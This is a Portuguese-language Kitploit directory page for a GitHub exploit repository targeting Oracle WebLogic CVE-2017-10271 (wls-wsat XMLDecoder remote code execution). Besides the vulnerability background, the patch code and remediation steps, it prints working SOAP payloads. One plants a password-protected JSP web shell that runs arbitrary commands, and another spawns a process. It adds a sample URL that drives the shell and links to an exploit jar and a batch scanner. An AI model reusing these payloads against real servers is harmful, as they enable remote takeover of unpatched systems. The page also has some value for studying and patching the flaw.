Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Oracle-WebLogic-CVE-2017-10271-master — Exploit para Oracle WebLogic CVE-2017-10271 (wls-wsat RCE bypass) com scripts PoC para execução remota de comandos e obtenção de um shell cmd em servidores vulneráveis. | Kitploit
Ferramentas/GitHubGitHub/lonehand/oracle-weblogic-cve-2017-10271-master
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleFerramenta de Acesso Remoto
GitHublonehand/oracle-weblogic-cve-2017-10271-master

Oracle-WebLogic-CVE-2017-10271-master

Exploit para Oracle WebLogic CVE-2017-10271 (wls-wsat RCE bypass) com scripts PoC para execução remota de comandos e obtenção de um shell cmd em servidores vulneráveis.

Ver Repositório
1144há 8 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

WebLogic Wls-wsat XMLDecoder

Descrição da Vulnerabilidade

mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

No início, hackers utilizaram a vulnerabilidade do componente WLS do WebLogic para realizar ataques remotos em larga escala contra servidores empresariais, resultando na invasão de muitos servidores corporativos, com um claro aumento no número de empresas atacadas, exigindo atenção redobrada. A CVE-2017-3506 é uma vulnerabilidade de execução remota de código no componente WLS do Oracle WebLogic, sendo uma falha explorada no ambiente real sem divulgação de detalhes. Muitas empresas ainda não instalaram os patches a tempo. A Oracle lançou um patch para essa vulnerabilidade em abril de 2017.

Nota do patch da CVE-2017-3506:

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

Apenas adicionou uma função validate antes da desserialização. Se o qName for igual a "object", lança uma exceção e encerra. Simples e violento, porém essa correção baseada em lista negra dificilmente será completamente eficaz. Vale a pena refletir…

O método de exploração desta vulnerabilidade é relativamente simples: o invasor só precisa enviar uma requisição HTTP cuidadosamente construída para obter acesso ao servidor alvo, causando danos enormes. Como a vulnerabilidade é recente, muitos hosts ainda não atualizaram os patches. Prevê-se que, após este incidente repentino, o número de ataques possa aumentar drasticamente e muitos novos hosts sejam comprometidos.

O patch de abril da Oracle para a CVE-2017-3506 não corrigiu completamente a vulnerabilidade, sendo possível contorná-lo e ainda executar comandos remotos. A CVE-2017-10271, que atualmente permite esse bypass, foi corrigida no patch de outubro lançado oficialmente.

Número da Vulnerabilidade

CVE-2017-10271 (vulnerabilidade de bypass de execução remota de comandos no wls-wsat)

Versões Afetadas

Oracle WebLogic Server 10.3.6.0.0

Oracle WebLogic Server 12.1.3.0.0

Oracle WebLogic Server 12.2.1.1.0

Oracle WebLogic Server 12.2.1.2.0

Lista de diretórios wls-wsat

root@kitploit:~
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

Método de Exploração

Poc:

CmdShell
root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

exploit

CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami

exploit

Executar comando
root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                       <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

exploit

Usando Exp para obter um CmdShell

WebLogic_Wls-Wsat_RCE_Exp.jar

exploit

Verificação em lote de ativos

WebLogic-Wls-wsat-XMLDecoder

exploit exploit

Recomendações de Correção

  1. Atualizar para o patch de outubro da Oracle.

    http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip

  2. Controlar o acesso aos recursos do wls-wsat.

  3. Solução temporária

    Caso não afete os negócios, de acordo com o caminho real do ambiente, excluir os seguintes arquivos war e diretórios do WebLogic:

root@kitploit:~
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Reiniciar o serviço WebLogic ou o sistema e verificar se os seguintes links retornam 404:

http://ip:port/wls-wsat/CoordinatorPortType11

Oracle-WebLogic-CVE-2017-10271-master

Baixar ferramenta